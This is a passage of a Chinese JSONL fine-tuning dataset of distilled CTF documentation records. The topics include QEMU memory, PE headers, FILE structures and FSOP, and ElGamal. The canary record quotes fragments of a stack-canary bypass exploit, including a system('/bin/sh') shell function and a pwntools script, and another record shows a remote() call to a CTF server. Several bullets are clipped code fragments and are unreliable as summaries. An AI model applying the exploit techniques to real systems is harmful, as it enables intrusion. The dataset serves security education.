"source_dataset": "docs_distilled_v1", "source_path": "crypto/signature/elgamal.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-88d03bb91804994b37d9", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/virtualization/qemu/basic-knowledge/mm.md` 中的章节「MemoryRegion：Guest 视角的一块“内存”」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/virtualization/qemu/basic-knowledge/mm.md`\n标题：QEMU 内存管理\n章节：QEMU 内存管理 > Guest VM 视角（GPA） > MemoryRegion：Guest 视角的一块“内存”\n路径分类：pwn / pwn/virtualization/qemu\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“MemoryRegion：Guest 视角的一块“内存””展开。\n- QTAILQ_ENTRY(MemoryRegion) subregions_link;\n- QTAILQ_HEAD(, CoalescedMemoryRange) coalesced;\n- container MemoryRegion：通过 memory_region_init() 初始化。\n- QTAILQ_HEAD(, MemoryRegion) subregions;\n- ` 根据QEMU官方文档中的描述，虽然众多的内存区域对象都声明为C结构体类型MemoryRegion，但是根据功能特性和应用场景的差异，这些内存区域在具体使用中可以分为八种类型的 MemoryRegion，这八种类型的内存区域基本满足了Guest常见的内存访问需求。\n\n关键术语：\n- AI安全\n- pwn\n- virtualization\n- qemu\n- basic-knowledge\n- code:c\n\n代码/命令片段线索：\n- c: 42 行，首行 `/** MemoryRegion:`\n- plain: 32 行，首行 `struct MemoryRegion`\n- c: 58 行，首行 `/*`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 4741, "chunk_count": 1, "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "ai", "heading": "MemoryRegion：Guest 视角的一块“内存”", "heading_path": ["QEMU 内存管理", "Guest VM 视角（GPA）", "MemoryRegion：Guest 视角的一块“内存”"], "original_id": "docs-630a07297a588ec15e85", "original_line": 1424, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/virtualization/qemu/basic-knowledge/mm.md", "source_root": "docs", "source_sha256": "b0f49a5297d0248bb6c398aae5db06293db7c6aa0ea8235507cd7252e3b7b406", "split": "train", "split_group_key": "1782540ee85da8f7e62ce758", "subcategory": "pwn/virtualization/qemu", "terms": ["AI安全", "pwn", "virtualization", "qemu", "basic-knowledge", "code:c"], "title": "QEMU 内存管理"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/virtualization/qemu/basic-knowledge/mm.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-8ad52bf55ad492ca009a", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/classical/monoalphabetic.md` 中的章节「例子」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/classical/monoalphabetic.md`\n标题：单表代换加密\n章节：单表代换加密 > 仿射密码 > 例子\n路径分类：crypto / crypto/classical/monoalphabetic.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“例子”展开。\n- 这里我们以TWCTF 2016 的 super_express为例进行介绍。\n\n关键术语：\n- 密码学\n- AI安全\n- 漏洞利用\n- crypto\n- classical\n- monoalphabetic.md\n- code:python\n- code:shell\n\n代码/命令片段线索：\n- python: 13 行，首行 `key = '****CENSORED***************'`\n- python: 14 行，首行 `key = '****CENSORED****************'`\n- shell: 2 行，首行 `➜ TWCTF2016-super_express git:(master) ✗ python exploit.py`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 1296, "chunk_count": 1, "chunk_index": 0, "ctf_score": 20, "ctf_task_type": "ai", "heading": "例子", "heading_path": ["单表代换加密", "仿射密码", "例子"], "original_id": "docs-89eafb4e481b6e47b811", "original_line": 366, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/classical/monoalphabetic.md", "source_root": "docs", "source_sha256": "0f067dab4b75b54ee479faf8ca79787754256a2fc3f9d437852c8af0c151e41e", "split": "train", "split_group_key": "deafe26f4caf00918dd6d706", "subcategory": "crypto/classical/monoalphabetic.md", "terms": ["密码学", "AI安全", "漏洞利用", "crypto", "classical", "monoalphabetic.md", "code:python", "code:shell"], "title": "单表代换加密"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/classical/monoalphabetic.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "executable", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-8c2a7173a43158f3aa3c", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/executable/pe/pe-import-table.md` 中的章节「INT 与 IAT」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/executable/pe/pe-import-table.md`\n标题：导入表\n章节：导入表 > INT 与 IAT\n路径分类：executable / executable/pe/pe-import-table.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“INT 与 IAT”展开。\n- 通常在 DLL 中对每一个函数都进行了编号，定位函数时可以通过名称定位，也可以通过编号定位。\n- 文件: figure/pe3-intiat2.png \"图 7 - 示例文件的 INT 与 IAT 数据部分\"] 可以看到虽然两者指向的是不同的位置，但是两者保存的数据却完全相同。\n- 文件: figure/pe3-intiatinmemory.png \"图 8 - 内存中的 INT 与 IAT\"] 在内存中，通过 INT 可以找到函数的名称或函数的编号，通过 IAT 可以找到函数指令代码在内存空间中的实际地址。\n- ``c typedef struct _IMAGE_IMPORT_DESCRIPTOR { union { DWORD Characteristics;\n- ` 接下来对结构体中重要的成员说明一下： - OriginalFirstThunk 指向 INT(Import Name Table)。\n\n关键术语：\n- AI安全\n- executable\n- pe\n- pe-import-table.md\n- code:c\n- code:text\n\n代码/命令片段线索：\n- c: 10 行，首行 `typedef struct _IMAGE_IMPORT_DESCRIPTOR {`\n- c: 4 行，首行 `typedef struct _IMAGE_IMPORT_BY_NAME {`\n- text: 20 行，首行 `RVA Data Description Value`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "executable", "chars": 2981, "chunk_count": 1, "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "ai", "heading": "INT 与 IAT", "heading_path": ["导入表", "INT 与 IAT"], "original_id": "docs-d88a5553e7cb03b48a8d", "original_line": 27, "original_split": "validation", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "executable/pe/pe-import-table.md", "source_root": "docs", "source_sha256": "a5ea0a910c664c6f80a0f71461581d097028d332a4da25277401b1159e2cedd0", "split": "train", "split_group_key": "5fbb9374f0bd9fdc3c24dc83", "subcategory": "executable/pe/pe-import-table.md", "terms": ["AI安全", "executable", "pe", "pe-import-table.md", "code:c", "code:text"], "title": "导入表"}, "source_dataset": "docs_distilled_v1", "source_path": "executable/pe/pe-import-table.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "blockchain", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-8e5ee448b4a63ee55f54", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/blockchain/publicblockchain/introduction.md` 中的章节「定义」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/blockchain/publicblockchain/introduction.md`\n标题：Public Blockchain Security Overview\n章节：Public Blockchain Security Overview > 定义\n路径分类：blockchain / blockchain/publicblockchain/introduction.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“定义”展开。\n- > A public blockchain has absolutely no access restrictions.\n- Usually, such networks offer economic incentives for those who secure them and utilize some type of a Proof of Stake or Proof of Work algorithm. > Some of the largest, most known public blockchains are the bitcoin blockchain and the Ethereum blockchain. ---...\n- Anyone with an Internet connection can send transactions to it as well as become a validator (i.e., participate in the execution of a consensus protocol).\n\n关键术语：\n- 区块链安全\n- AI安全\n- blockchain\n- publicblockchain\n- introduction.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "blockchain", "chars": 555, "chunk_count": 1, "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "ai", "heading": "定义", "heading_path": ["Public Blockchain Security Overview", "定义"], "original_id": "docs-5312e97cf294c40e0560", "original_line": 188, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "blockchain/publicblockchain/introduction.md", "source_root": "docs", "source_sha256": "20d43ff3f3322c8d3a1cb716ac1cc71d9393b25aefc552f5f51bdb3a7beaf3fa", "split": "train", "split_group_key": "964d080f0bb62443be03312e", "subcategory": "blockchain/publicblockchain/introduction.md", "terms": ["区块链安全", "AI安全", "blockchain", "publicblockchain", "introduction.md"], "title": "Public Blockchain Security Overview"}, "source_dataset": "docs_distilled_v1", "source_path": "blockchain/publicblockchain/introduction.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-8eea457d0e516bb38722", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/virtualization/basic-knowledge/io-virtualization.md` 中的章节「软件半虚拟化 - virtio」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/virtualization/basic-knowledge/io-virtualization.md`\n标题：IO 虚拟化\n章节：IO 虚拟化 > 软件半虚拟化 - virtio\n路径分类：pwn / pwn/virtualization/basic-knowledge\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“软件半虚拟化 - virtio”展开。\n- virtio 这个概念来自于一篇非常古老的虚拟化领域的论文：virtio: towards a de-facto standard for virtual I/O devices，主要是为了解决设备虚拟化的问题而提供了一套通用的虚拟化设备模型，Guest OS 只需要实现一套统一的 virtio 驱动便能以统一的方式访问虚拟化设备，从而避免了各种虚拟化驱动分裂的问题。\n- [图片文件: ./figure/virtio.png]\n\n关键术语：\n- AI安全\n- pwn\n- virtualization\n- basic-knowledge\n- io-virtualization.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 278, "chunk_count": 1, "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "ai", "heading": "软件半虚拟化 - virtio", "heading_path": ["IO 虚拟化", "软件半虚拟化 - virtio"], "original_id": "docs-4e8295fe8e7aa950ecd6", "original_line": 76, "original_split": "validation", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/virtualization/basic-knowledge/io-virtualization.md", "source_root": "docs", "source_sha256": "ff9b01703451d093829def71a27f03c2cc2aac081cf073a0628e028fe37eb910", "split": "train", "split_group_key": "42d6ea536eff65a260d35d00", "subcategory": "pwn/virtualization/basic-knowledge", "terms": ["AI安全", "pwn", "virtualization", "basic-knowledge", "io-virtualization.md"], "title": "IO 虚拟化"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/virtualization/basic-knowledge/io-virtualization.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-9067db64a738ef0260d0", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/io-file/fsop.md` 中的章节「介绍」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/io-file/fsop.md`\n标题：FSOP\n章节：FSOP > 介绍\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“介绍”展开。\n- } ... } } `` [图片文件: ./figure/abort_routine.001.jpeg] 而_IO_flush_all_lockp不需要攻击者手动调用，在一些情况下这个函数会被系统调用： 1.当libc执行abort流程时 2.当执行exit函数时 3.当执行流从main函数返回时\n- = NULL) { ... if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)) && _IO_OVERFLOW (fp, EOF) == EOF) { result = EOF;\n- FSOP是File Stream Oriented Programming的缩写，根据前面对FILE的介绍得知进程内所有的_IO_FILE结构会使用_chain域相互连接形成一个链表，这个链表的头部由_IO_list_all维护。\n- FSOP选择的触发方法是调用_IO_flush_all_lockp，这个函数会刷新_IO_list_all链表中所有项的文件流，相当于对每个FILE调用fflush，也对应着会调用_IO_FILE_plus.vtable中的_IO_overflow。\n- FSOP的核心思想就是劫持_IO_list_all的值来伪造链表和其中的_IO_FILE项，但是单纯的伪造只是构造了数据还需要某种方法进行触发。\n\n关键术语：\n- 边界/溢出\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- io-file\n\n代码/命令片段线索：\n- plain: 16 行，首行 `int`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 703, "chunk_count": 1, "chunk_index": 0, "ctf_score": 16, "ctf_task_type": "ai", "heading": "介绍", "heading_path": ["FSOP", "介绍"], "original_id": "docs-348692f982d057fe9e83", "original_line": 1205, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/io-file/fsop.md", "source_root": "docs", "source_sha256": "fe379a92828e804e5232308f71ccc6b1199f78ee09c2392e8ef870ceab6f0d8c", "split": "train", "split_group_key": "7d2b1f58812d1d6386f961ba", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "io-file"], "title": "FSOP"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/io-file/fsop.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "ai", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-933121db2e7423ff1821", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/ai/ai-for-security/agent/introduction.md` 中的章节「AI Agent 的核心挑战」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/ai/ai-for-security/agent/introduction.md`\n标题：AI Agent\n章节：AI Agent > AI Agent 的核心挑战\n路径分类：ai / ai/ai-for-security/agent\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“AI Agent 的核心挑战”展开。\n- 尽管 AI Agent 在能力表现上展现出较强的通用性与灵活性，但其本质仍是建立在不完全可靠的语言模型之上的系统。\n- 主要问题如下： - 不可靠推理与“幻觉”问题：大语言模型本质上是在进行概率驱动的序列预测，这导致其可能产生看似合理但实际错误的推理过程（即“幻觉”）。\n- 在 Agent 场景中，错误的中间推理可能导致后续步骤全部偏离目标，尤其是在长链任务中，误差会逐步累积。\n- 因此，如何对推理过程进行约束、校验与纠错，成为 Agent 系统设计中的核心问题之一。\n- 工具调用的不确定性：模型可能选择错误的工具、参数生成不准确（如 API 输入格式错误）、无法正确理解工具返回结果等。\n\n关键术语：\n- AI安全\n- 修复/缓解\n- ai\n- ai-for-security\n- agent\n- introduction.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "ai", "chars": 913, "chunk_count": 1, "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "ai", "heading": "AI Agent 的核心挑战", "heading_path": ["AI Agent", "AI Agent 的核心挑战"], "original_id": "docs-28899aeb626417154d6b", "original_line": 9, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "ai/ai-for-security/agent/introduction.md", "source_root": "docs", "source_sha256": "10c5f487d7f7a7848399d82c958a68f082b5cd409eb446fb771b97f564a5ce52", "split": "train", "split_group_key": "5a19368a1cdd2743061b103f", "subcategory": "ai/ai-for-security/agent", "terms": ["AI安全", "修复/缓解", "ai", "ai-for-security", "agent", "introduction.md"], "title": "AI Agent"}, "source_dataset": "docs_distilled_v1", "source_path": "ai/ai-for-security/agent/introduction.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-9376f3359f16e310d31e", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/mitigation/canary.md` 中的章节「利用示例」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/mitigation/canary.md`\n标题：Canary\n章节：Canary > Canary 绕过技术 > 泄露栈中的 Canary > 利用示例\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“利用示例”展开。\n- 存在漏洞的示例源代码如下: ``C // ex2.c #include  #include  #include  #include  void getshell(void) { system(\"/bin/sh\");\n- } ` 编译为 32bit 程序并关闭 PIE 保护 （默认开启 NX，ASLR，Canary 保护） `bash $ gcc -m32 -no-pie ex2.c -o ex2 ` 首先通过覆盖 Canary 最后一个 \\x00 字节来打印出 4 位的 Canary 之后，计算好偏移，将 Canary 填入到相应的溢出位置，实现 Ret 到 getshell 函数中 ``python #!\n- } } int main(void) { init();\n- /usr/bin/env python from pwn import * context.binary = 'ex2' #context.log_level = 'debug' io = process('./ex2') get_shell = ELF(\"./ex2\").sym[\"getshell\"] io.recvuntil(\"Hello Hacker!\n- } void init() { setbuf(stdin, NULL);\n\n关键术语：\n- 边界/溢出\n- AI安全\n- 修复/缓解\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- mitigation\n- code:c\n- code:bash\n\n代码/命令片段线索：\n- C: 26 行，首行 `// ex2.c`\n- bash: 1 行，首行 `$ gcc -m32 -no-pie ex2.c -o ex2`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 798, "chunk_count": 1, "chunk_index": 0, "ctf_score": 16, "ctf_task_type": "ai", "heading": "利用示例", "heading_path": ["Canary", "Canary 绕过技术", "泄露栈中的 Canary", "利用示例"], "original_id": "docs-aff04fe48cdd3c8fb0e3", "original_line": 1217, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/mitigation/canary.md", "source_root": "docs", "source_sha256": "fd483489fe6434a429bc966cdf2ad1ac48dd3cd1339d785938a8eab0c1e2d43f", "split": "train", "split_group_key": "2308a639f7551eb485073fa0", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "AI安全", "修复/缓解", "漏洞利用", "pwn", "linux", "user-mode", "mitigation", "code:c", "code:bash"], "title": "Canary"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/mitigation/canary.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-94d015940529e0e9d40d", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/signature/elgamal.md` 中的章节「题目」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/signature/elgamal.md`\n标题：ElGamal\n章节：ElGamal > 常见攻击 > 选择签名伪造 > 题目\n路径分类：crypto / crypto/signature/elgamal.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“题目”展开。\n- = 0): req.sendall(\"Check failed\") req.close() return ` 我们需要生成一个以proof开头的长度为proof长度加5的字符串，并且其sha1的值以16比特的0结束。\n- 这里以2017年国赛mailbox为例，i春秋有复现。\n- 首先，我们来分析一下程序，我们首先需要进行proof of work ``python proof = b64.b64encode(os.urandom(12)) req.sendall( \"Please provide your proof of work, a sha1 sum ending in 16 bit's set to 0, it must be of length %d bytes, starting with %s\\n\" % ( len(proof) + 5, proof)) test =...\n- ``python def f(x): return sha1(prefix + x).digest()[-2:] == '\\0\\0' sh = remote('106.75.66.195', 40001)\n- = proof or ord(ha.digest()[-1]) !\n\n关键术语：\n- 密码学\n- AI安全\n- crypto\n- signature\n- elgamal.md\n- code:python\n\n代码/命令片段线索：\n- python: 11 行，首行 `proof = b64.b64encode(os.urandom(12))`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 732, "chunk_count": 1, "chunk_index": 0, "ctf_score": 16, "ctf_task_type": "ai", "heading": "题目", "heading_path": ["ElGamal", "常见攻击", "选择签名伪造", "题目"], "original_id": "docs-a2e97ed09172794340fd", "original_line": 414, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/signature/elgamal.md", "source_root": "docs", "source_sha256": "27a74c0adb780919721622473d1a1f478798fa14709d1afc907d81a8cd4b3b10", "split": "train", "split_group_key": "6737afb6bf89a9aa09294c08", "subcategory": "crypto/signature/elgamal.md", "terms": ["密码学", "AI安全", "crypto", "signature", "elgamal.md", "code:python"], "title": "ElGamal"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/signature/elgamal.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-9720b8d0944df9ad9973", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/io-file/introduction.md` 中的章节「else」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/io-file/introduction.md`\n标题：FILE结构\n章节：else\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“else”展开。\n- `` 进程中的FILE结构会通过_chain域彼此连接形成一个链表，链表头部用全局变量_IO_list_all表示，通过这个值我们可以遍历所有的FILE结构。\n- / Make sure we don't get into trouble again. / char _unused2[15 sizeof (int) - 4 sizeof (void ) - sizeof (size_t)];\n- 而我们使用fopen创建的文件流是分配在堆内存上的。\n- 我们可以在libc.so中找到stdin\\stdout\\stderr等符号，这些符号是指向FILE结构的指针，真正结构的符号是 ` _IO_2_1_stderr_ _IO_2_1_stdout_ _IO_2_1_stdin_ ` 但是事实上_IO_FILE结构外包裹着另一种结构_IO_FILE_plus，其中包含了一个重要的指针vtable指向了一系列函数指针。\n- 因此在初始状态下，_IO_list_all指向了一个有这些文件流构成的链表，但是需要注意的是这三个文件流位于libc.so的数据段。\n\n关键术语：\n- 边界/溢出\n- 堆\n- AI安全\n- pwn\n- linux\n- user-mode\n- io-file\n\n代码/命令片段线索：\n- plain: 3 行，首行 `进程中的FILE结构会通过_chain域彼此连接形成一个链表，链表头部用全局变量_IO_list_all表示，通过这个值我们可以遍历所有的FILE结构。`\n- plain: 2 行，首行 `但是事实上_IO_FILE结构外包裹着另一种结构_IO_FILE_plus，其中包含了一个重要的指针vtable指向了一系列函数指针。`\n- plain: 1 行，首行 `vtable是IO_jump_t类型的指针，IO_jump_t中保存了一些函数指针，在后面我们会看到在一系列标准IO函数中会调用这些函数指针`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1326, "chunk_count": 1, "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "ai", "heading": "else", "heading_path": ["else"], "original_id": "docs-95da49fd0cdc41e1e2f4", "original_line": 1208, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/io-file/introduction.md", "source_root": "docs", "source_sha256": "cb6cf56af2c8c526d0304c33b1de80b90361eeb7e677460850bf168879808566", "split": "train", "split_group_key": "9f3b47cf9acf9dae6f3bd5cc", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "堆", "AI安全", "pwn", "linux", "user-mode", "io-file"], "title": "FILE结构"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/io-file/introduction.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "executable", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-9797f67b7de2e2d5c8b5", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/executable/pe/pe-excutable.md` 中的章节「IMAGE_OPTIONAL_HEADER」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/executable/pe/pe-excutable.md`\n标题：PE 文件格式\n章节：PE 文件格式 > PE文件头 > IMAGE_NT_HEADERS > IMAGE_OPTIONAL_HEADER\n路径分类：executable / executable/pe/pe-excutable.md\n分块：2/2\n\n核心知识点：\n- 本节主题围绕“IMAGE_OPTIONAL_HEADER”展开。\n- 可以通过链接器的 \"-heap\" 参数指定起始保留的堆内存大小和实际提交的堆内存大小。\n- 64-bit 表示映像支持控制流保护 #define IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE 0x8000 // 映像可用于终端服务器 `` - SizeOfStackReserve 双字。\n- ne IMAGE_DLLCHARACTERISTICS_APPCONTAINER 0x1000 // 在 32-bit 保留；\n- 64-bit 表示映像必须在 AppContainer 内执行 #define IMAGE_DLLCHARACTERISTICS_WDM_DRIVER 0x2000 // WDM 驱动 //#define IMAGE_DLLCHARACTERISTICS_GUARD_CF 0x4000 // 在 32-bit 保留；\n- 具体说是初始化时为栈保留的虚拟内存的大小，但并不是所有保留的虚拟内存都能直接作为栈使用。\n\n关键术语：\n- 堆\n- 栈\n- AI安全\n- executable\n- pe\n- pe-excutable.md\n\n代码/命令片段线索：\n- plain: 7 行，首行 `- `SizeOfStackReserve` 双字。初始化时保留的栈内存大小，默认值是 1MB。具体说是初始化时为栈保留的虚拟内存的大小，但并不是所有保留的虚拟内存都能直接作为栈使用。初始化时实际提交的栈大小由 `SizeOfStac...`\n- plain: 1 行，首行 `各数组项如下：`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "executable", "chars": 2104, "chunk_count": 2, "chunk_index": 1, "ctf_score": 14, "ctf_task_type": "ai", "heading": "IMAGE_OPTIONAL_HEADER", "heading_path": ["PE 文件格式", "PE文件头", "IMAGE_NT_HEADERS", "IMAGE_OPTIONAL_HEADER"], "original_id": "docs-6b5bfefde1ea64523872", "original_line": 496, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", 